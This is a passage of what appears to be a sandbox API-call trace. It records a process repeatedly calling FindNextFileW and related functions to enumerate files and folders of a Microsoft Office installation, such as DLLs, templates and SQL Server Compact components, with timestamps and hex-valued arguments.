lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER", cAlternateFileName="")) returned 0 [0264.992] FindClose (in: hFindFile=0x63f108 | out: hFindFile=0x63f108) returned 1 [0264.992] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4588140 | out: hHeap=0x540000) returned 1 [0264.992] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5dfae80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xfafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOGELEMS.DLL", cAlternateFileName="")) returned 1 [0264.994] RtlpDeCommitFreeBlock () [0264.994] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d4f5000, ftCreationTime.dwHighDateTime=0x1cac037, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d4f5000, ftLastWriteTime.dwHighDateTime=0x1cac037, nFileSizeHigh=0x0, nFileSizeLow=0x1c798, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BusinessData.dll", cAlternateFileName="MI5659~1.DLL")) returned 1 [0264.999] RtlpDeCommitFreeBlock () [0264.999] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c5ccd00, ftCreationTime.dwHighDateTime=0x1cacf90, ftLastAccessTime.dwLowDateTime=0x6bf1cb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c5ccd00, ftLastWriteTime.dwHighDateTime=0x1cacf90, nFileSizeHigh=0x0, nFileSizeLow=0x208560, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE.EXE", cAlternateFileName="")) returned 1 [0265.002] RtlpDeCommitFreeBlock () [0265.002] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34af8800, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x59a53950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34af8800, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x5f190, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLPH.DLL", cAlternateFileName="")) returned 1 [0265.079] RtlpDeCommitFreeBlock () [0265.079] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd651f080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x755a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDSBASE.DLL", cAlternateFileName="")) returned 1 [0265.080] RtlpDeCommitFreeBlock () [0265.080] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa44929a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa44929a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa44929a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0265.080] RtlpDeCommitFreeBlock () [0265.080] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0265.081] RtlpDeCommitFreeBlock () [0265.081] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69511700, ftCreationTime.dwHighDateTime=0x1c4a9a0, ftLastAccessTime.dwLowDateTime=0x97e6cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69511700, ftLastWriteTime.dwHighDateTime=0x1c4a9a0, nFileSizeHigh=0x0, nFileSizeLow=0x39cf3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3EN.LEX", cAlternateFileName="")) returned 1 [0265.081] RtlpDeCommitFreeBlock () [0265.081] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd656b340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x12790, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPMGR.DLL", cAlternateFileName="")) returned 1 [0265.083] RtlpDeCommitFreeBlock () [0265.084] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82aef100, ftCreationTime.dwHighDateTime=0x1cab8a8, ftLastAccessTime.dwLowDateTime=0x5a7450f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82aef100, ftLastWriteTime.dwHighDateTime=0x1cab8a8, nFileSizeHigh=0x0, nFileSizeLow=0xddf78, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBCONV.DLL", cAlternateFileName="")) returned 1 [0265.107] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd17a00, ftCreationTime.dwHighDateTime=0x1c4a111, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1dd17a00, ftLastWriteTime.dwHighDateTime=0x1c4a111, nFileSizeHigh=0x0, nFileSizeLow=0x40a0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TOC98.POC", cAlternateFileName="")) returned 1 [0265.108] RtlpDeCommitFreeBlock () [0265.108] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa5ff110, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUERIES", cAlternateFileName="")) returned 1 [0265.110] RtlpDeCommitFreeBlock () [0265.110] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0xc568, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECALL.DLL", cAlternateFileName="")) returned 1 [0265.111] RtlpDeCommitFreeBlock () [0265.111] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd6629a20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x8f968, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAVASWEB.DLL", cAlternateFileName="")) returned 1 [0265.115] RtlpDeCommitFreeBlock () [0265.115] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e8d5600, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xde61b8a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7e8d5600, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x3bb598, dwReserved0=0x0, dwReserved1=0x0, cFileName="STSLIST.DLL", cAlternateFileName="")) returned 1 [0265.217] RtlpDeCommitFreeBlock () [0265.217] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x52203420, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52203420, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0265.217] FindClose (in: hFindFile=0x63f108 | out: hFindFile=0x63f108) returned 1 [0265.217] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4588140 | out: hHeap=0x540000) returned 1 [0265.217] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b97800, ftCreationTime.dwHighDateTime=0x1cbd8c9, ftLastAccessTime.dwLowDateTime=0xd11a8d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x45b97800, ftLastWriteTime.dwHighDateTime=0x1cbd8c9, nFileSizeHigh=0x0, nFileSizeLow=0x16a760, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO.EXE", cAlternateFileName="")) returned 1 [0265.218] RtlpDeCommitFreeBlock () [0265.218] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbccffc00, ftCreationTime.dwHighDateTime=0x1c43c6f, ftLastAccessTime.dwLowDateTime=0x5e822870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbccffc00, ftLastWriteTime.dwHighDateTime=0x1c43c6f, nFileSizeHigh=0x0, nFileSizeLow=0x2851, dwReserved0=0x0, dwReserved1=0x0, cFileName="XML2WORD.XSL", cAlternateFileName="")) returned 1 [0265.219] RtlpDeCommitFreeBlock () [0265.219] FindNextFileW (in: hFindFile=0x63edc8, lpFindFileData=0x372f808 | out: lpFindFileData=0x372f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3eb50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xebb910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0265.220] RtlpDeCommitFreeBlock () [0265.220] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0265.220] FindClose (in: hFindFile=0x63ee08 | out: hFindFile=0x63ee08) returned 1 [0265.220] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4530048 | out: hHeap=0x540000) returned 1 [0265.220] FindNextFileW (in: hFindFile=0x63edc8, lpFindFileData=0x372f808 | out: lpFindFileData=0x372f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0265.354] RtlpDeCommitFreeBlock () [0265.354] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcad4b00, ftCreationTime.dwHighDateTime=0x1c6d84b, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfcad4b00, ftLastWriteTime.dwHighDateTime=0x1c6d84b, nFileSizeHigh=0x0, nFileSizeLow=0x2f2af, dwReserved0=0x0, dwReserved1=0x0, cFileName="Events.accdt", cAlternateFileName="EVENTS~1.ACC")) returned 1 [0265.355] RtlpDeCommitFreeBlock () [0265.355] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bbcc000, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9bbcc000, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x15cc78, dwReserved0=0x0, dwReserved1=0x0, cFileName="Projects.accdt", cAlternateFileName="PROJEC~1.ACC")) returned 1 [0265.355] RtlpDeCommitFreeBlock () [0265.355] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14ee4810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSS", cAlternateFileName="")) returned 0 [0265.355] FindClose (in: hFindFile=0x63f088 | out: hFindFile=0x63f088) returned 1 [0265.355] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4598148 | out: hHeap=0x540000) returned 1 [0265.355] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e16f270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x329e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdjacencyLetter.dotx", cAlternateFileName="ADJACE~1.DOT")) returned 1 [0265.357] RtlpDeCommitFreeBlock () [0265.357] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x219e1900, ftCreationTime.dwHighDateTime=0x1ca8f08, ftLastAccessTime.dwLowDateTime=0xf5d65210, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x219e1900, ftLastWriteTime.dwHighDateTime=0x1ca8f08, nFileSizeHigh=0x0, nFileSizeLow=0x1fa5cb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="FiveRules.potx", cAlternateFileName="FIVERU~1.POT")) returned 1 [0265.358] RtlpDeCommitFreeBlock () [0265.358] FindNextFileW (in: hFindFile=0x45a8168, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0265.358] RtlpDeCommitFreeBlock () [0265.358] FindNextFileW (in: hFindFile=0x45a8168, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 0 [0265.358] FindClose (in: hFindFile=0x45a8168 | out: hFindFile=0x45a8168) returned 1 [0265.358] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x46841b8 | out: hHeap=0x540000) returned 1 [0265.358] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0265.358] FindClose (in: hFindFile=0x63f088 | out: hFindFile=0x63f088) returned 1 [0265.358] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4598148 | out: hHeap=0x540000) returned 1 [0265.358] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4db210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x2db52, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrielLetter.Dotx", cAlternateFileName="ORIELL~1.DOT")) returned 1 [0265.359] RtlpDeCommitFreeBlock () [0265.360] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 1 [0265.360] RtlpDeCommitFreeBlock () [0265.360] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 0 [0265.360] FindClose (in: hFindFile=0x63ee08 | out: hFindFile=0x63ee08) returned 1 [0265.360] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4530048 | out: hHeap=0x540000) returned 1 [0265.360] FindNextFileW (in: hFindFile=0x63edc8, lpFindFileData=0x372f808 | out: lpFindFileData=0x372f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0265.360] FindClose (in: hFindFile=0x63edc8 | out: hFindFile=0x63edc8) returned 1 [0265.360] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x460c1a0 | out: hHeap=0x540000) returned 1 [0265.360] FindNextFileW (in: hFindFile=0x63ecc8, lpFindFileData=0x372fa84 | out: lpFindFileData=0x372fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7f3ae5b0, ftLastAccessTime.dwHighDateTime=0x1d50335, ftLastWriteTime.dwLowDateTime=0x7f3ae5b0, ftLastWriteTime.dwHighDateTime=0x1d50335, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SQL Server Compact Edition", cAlternateFileName="MICROS~3")) returned 1 [0265.361] RtlpDeCommitFreeBlock () [0265.361] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5ab6f770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x8b840, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceca35.dll", cAlternateFileName="SQLCEC~1.DLL")) returned 1 [0265.361] RtlpDeCommitFreeBlock () [0265.361] FindNextFileW (in: hFindFile=0x63edc8, lpFindFileData=0x372f808 | out: lpFindFileData=0x372f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0265.361] FindClose (in: hFindFile=0x63edc8 | out: hFindFile=0x63edc8) returned 1 [0265.361] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4530048 | out: hHeap=0x540000) returned 1 [0265.361] FindNextFileW (in: hFindFile=0x63ecc8, lpFindFileData=0x372fa84 | out: lpFindFileData=0x372fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Sync Framework", cAlternateFileName="MICROS~4")) returned 1 [0265.362] RtlpDeCommitFreeBlock () [0265.362] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="License Agreements", cAlternateFileName="LICENS~1")) returned 0 [0265.362] FindClose (in: hFindFile=0x63f088 | out: hFindFile=0x63f088) returned 1 [0265.362] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4598148 | out: hHeap=0x540000) returned 1 [0265.362] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0265.362] FindClose (in: hFindFile=0x63f108 | out: hFindFile=0x63f108) returned 1 [0265.362] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4588140 | out: hHeap=0x540000) returned 1 [0265.363] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Runtime", cAlternateFileName="")) returned 1 [0265.364] RtlpDeCommitFreeBlock () [0265.364] FindNextFileW (in: hFindFile=0x45a8168, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, 